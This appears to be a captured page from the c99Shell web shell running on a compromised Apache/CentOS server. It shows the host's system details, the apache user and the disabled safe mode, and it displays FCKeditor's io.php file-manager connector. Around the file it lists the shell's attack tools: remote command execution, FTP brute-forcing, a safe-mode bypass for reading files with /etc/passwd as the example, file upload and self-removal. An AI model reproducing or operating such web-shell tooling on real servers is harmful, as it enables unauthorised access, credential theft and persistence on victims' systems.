!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/ealumni/fckeditor/editor/filemanager/connectors/php/   drwxr-xr-x
Free 48.07 GB of 127.8 GB (37.61%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     io.php (8.01 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * FCKeditor - The text editor for Internet - http://www.fckeditor.net
 * Copyright (C) 2003-2007 Frederico Caldeira Knabben
 *
 * == BEGIN LICENSE ==
 *
 * Licensed under the terms of any of the following licenses at your
 * choice:
 *
 *  - GNU General Public License Version 2 or later (the "GPL")
 *    http://www.gnu.org/licenses/gpl.html
 *
 *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
 *    http://www.gnu.org/licenses/lgpl.html
 *
 *  - Mozilla Public License Version 1.1 or later (the "MPL")
 *    http://www.mozilla.org/MPL/MPL-1.1.html
 *
 * == END LICENSE ==
 *
 * This is the File Manager Connector for PHP.
 */
function CombinePaths$sBasePath$sFolder )
{
    return 
RemoveFromEnd$sBasePath'/' ) . '/' RemoveFromStart$sFolder'/' ) ;
}
function 
GetResourceTypePath$resourceType$sCommand )
{
    global 
$Config ;

    if ( 
$sCommand == "QuickUpload"
        return 
$Config['QuickUploadPath'][$resourceType] ;
    else
        return 
$Config['FileTypesPath'][$resourceType] ;
}

function 
GetResourceTypeDirectory$resourceType$sCommand )
{
    global 
$Config ;
    if ( 
$sCommand == "QuickUpload"
    {
        if ( 
strlen$Config['QuickUploadAbsolutePath'][$resourceType] ) > )
            return 
$Config['QuickUploadAbsolutePath'][$resourceType] ;

        
// Map the "UserFiles" path to a local directory.
        
return Server_MapPath$Config['QuickUploadPath'][$resourceType] ) ;
    }
    else
    {
        if ( 
strlen$Config['FileTypesAbsolutePath'][$resourceType] ) > )
            return 
$Config['FileTypesAbsolutePath'][$resourceType] ;

        
// Map the "UserFiles" path to a local directory.
        
return Server_MapPath$Config['FileTypesPath'][$resourceType] ) ;
    }
}

function 
GetUrlFromPath$resourceType$folderPath$sCommand )
{
    return 
CombinePathsGetResourceTypePath$resourceType$sCommand ), $folderPath ) ;
}

function 
RemoveExtension$fileName )
{
    return 
substr$fileName0strrpos$fileName'.' ) ) ;
}

function 
ServerMapFolder$resourceType$folderPath$sCommand )
{
    
// Get the resource type directory.
    
$sResourceTypePath GetResourceTypeDirectory$resourceType$sCommand ) ;

    
// Ensure that the directory exists.
    
$sErrorMsg CreateServerFolder$sResourceTypePath ) ;
    if ( 
$sErrorMsg != '' )
        
SendError1"Error creating folder \"{$sResourceTypePath}\" ({$sErrorMsg})" ) ;

    
// Return the resource type directory combined with the required path.
    
return CombinePaths$sResourceTypePath $folderPath ) ;
}

function 
GetParentFolder$folderPath )
{
    
$sPattern "-[/\\\\][^/\\\\]+[/\\\\]?$-" ;
    return 
preg_replace$sPattern''$folderPath ) ;
}

function 
CreateServerFolder$folderPath$lastFolder null )
{
    
$sParent GetParentFolder$folderPath ) ;

    
// Ensure the folder path has no double-slashes, or mkdir may fail on certain platforms
    
while ( strpos($folderPath'//') !== false )
    {
        
$folderPath str_replace'//''/'$folderPath ) ;
    }

    
// Check if the parent exists, or create it.
    
if ( !file_exists$sParent ) )
    {
        
//prevents agains infinite loop when we can't create root folder
        
if ( !is_null$lastFolder ) && $lastFolder === $sParent) {
            return 
"Can't create $folderPath directory" ;
        }
        
        
$sErrorMsg CreateServerFolder$sParent$folderPath ) ;
        if ( 
$sErrorMsg != '' )
            return 
$sErrorMsg ;
    }

    if ( !
file_exists$folderPath ) )
    {
        
// Turn off all error reporting.
        
error_reporting) ;

        
$php_errormsg '' ;
        
// Enable error tracking to catch the error.
        
ini_set'track_errors''1' ) ;

        
// To create the folder with 0777 permissions, we need to set umask to zero.
        
$oldumask umask(0) ;
        
mkdir$folderPath0777 ) ;
        
umask$oldumask ) ;

        
$sErrorMsg $php_errormsg ;

        
// Restore the configurations.
        
ini_restore'track_errors' ) ;
        
ini_restore'error_reporting' ) ;

        return 
$sErrorMsg ;
    }
    else
        return 
'' ;
}

function 
GetRootPath()
{
    if (!isset(
$_SERVER)) {
        global 
$_SERVER;
    }
    
$sRealPath realpath'./' ) ;

    
$sSelfPath $_SERVER['PHP_SELF'] ;
    
$sSelfPath substr$sSelfPath0strrpos$sSelfPath'/' ) ) ;

    
$sSelfPath str_replace'/'DIRECTORY_SEPARATOR$sSelfPath ) ;
    
    
$position strpos$sRealPath$sSelfPath ) ;

    
// This can check only that this script isn't run from a virtual dir
    // But it avoids the problems that arise if it isn't checked
    
if ( $position === false || $position <> strlen$sRealPath ) - strlen$sSelfPath ) )
        
SendError1'Sorry, can\'t map "UserFilesPath" to a physical path. You must set the "UserFilesAbsolutePath" value in "editor/filemanager/connectors/php/config.php".' ) ;

    return 
substr$sRealPath0$position ) ;
}

// Emulate the asp Server.mapPath function.
// given an url path return the physical directory that it corresponds to
function Server_MapPath$path )
{
    
// This function is available only for Apache
    
if ( function_exists'apache_lookup_uri' ) )
    {
        
$info apache_lookup_uri$path ) ;
        return 
$info->filename $info->path_info ;
    }

    
// This isn't correct but for the moment there's no other solution
    // If this script is under a virtual directory or symlink it will detect the problem and stop
    
return GetRootPath() . $path ;
}

function 
IsAllowedExt$sExtension$resourceType )
{
    global 
$Config ;
    
// Get the allowed and denied extensions arrays.
    
$arAllowed    $Config['AllowedExtensions'][$resourceType] ;
    
$arDenied    $Config['DeniedExtensions'][$resourceType] ;

    if ( 
count($arAllowed) > && !in_array$sExtension$arAllowed ) ) 
        return 
false ;

    if ( 
count($arDenied) > && in_array$sExtension$arDenied ) ) 
        return 
false ;

    return 
true ;
}

function 
IsAllowedType$resourceType )
{
    global 
$Config ;
    if ( !
in_array$resourceType$Config['ConfigAllowedTypes'] ) )
        return 
false ;
    
    return 
true ;
}

function 
IsAllowedCommand$sCommand )
{
    global 
$Config ;

    if ( !
in_array$sCommand$Config['ConfigAllowedCommands'] ) )
        return 
false ;
    
    return 
true ;
}

function 
GetCurrentFolder()
{
    if (!isset(
$_GET)) {
        global 
$_GET;
    }
    
$sCurrentFolder    = isset( $_GET['CurrentFolder'] ) ? $_GET['CurrentFolder'] : '/' ;

    
// Check the current folder syntax (must begin and start with a slash).
    
if ( ! ereg'/$'$sCurrentFolder ) ) $sCurrentFolder .= '/' ;
    if ( 
strpos$sCurrentFolder'/' ) !== $sCurrentFolder '/' $sCurrentFolder ;

    
// Ensure the folder path has no double-slashes
    
while ( strpos ($sCurrentFolder'//') !== false ) {
        
$sCurrentFolder str_replace ('//''/'$sCurrentFolder) ;
    }

    
// Check for invalid folder paths (..)
    
if ( strpos$sCurrentFolder'..' ) )
        
SendError102'' ) ;

    return 
$sCurrentFolder ;
}

// Do a cleanup of the folder name to avoid possible problems
function SanitizeFolderName$sNewFolderName )
{
    
$sNewFolderName stripslashes$sNewFolderName ) ;

    
// Remove . \ / | : ? * " < >
    
$sNewFolderName preg_replace'/\\.|\\\\|\\/|\\||\\:|\\?|\\*|"|<|>/''_'$sNewFolderName ) ;

    return 
$sNewFolderName ;
}

// Do a cleanup of the file name to avoid possible problems
function SanitizeFileName$sNewFileName )
{
    global 
$Config ;

    
$sNewFileName stripslashes$sNewFileName ) ;

    
// Replace dots in the name with underscores (only one dot can be there... security issue).
    
if ( $Config['ForceSingleExtension'] )
        
$sNewFileName preg_replace'/\\.(?![^.]*$)/''_'$sNewFileName ) ;

    
// Remove \ / | : ? * " < >
    
$sNewFileName preg_replace'/\\\\|\\/|\\||\\:|\\?|\\*|"|<|>/''_'$sNewFileName ) ;

    return 
$sNewFileName ;
}

// This is the function that sends the results of the uploading process.
function SendUploadResults$errorNumber$fileUrl ''$fileName ''$customMsg '' )
{
    echo 
'<script type="text/javascript">' ;
    
$rpl = array( '\\' => '\\\\''"' => '\\"' ) ;
    echo 
'window.parent.OnUploadCompleted(' $errorNumber ',"' strtr$fileUrl$rpl ) . '","' strtr$fileName$rpl ) . '", "' strtr$customMsg$rpl ) . '") ;' ;
    echo 
'</script>' ;
    exit ;
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0136 ]--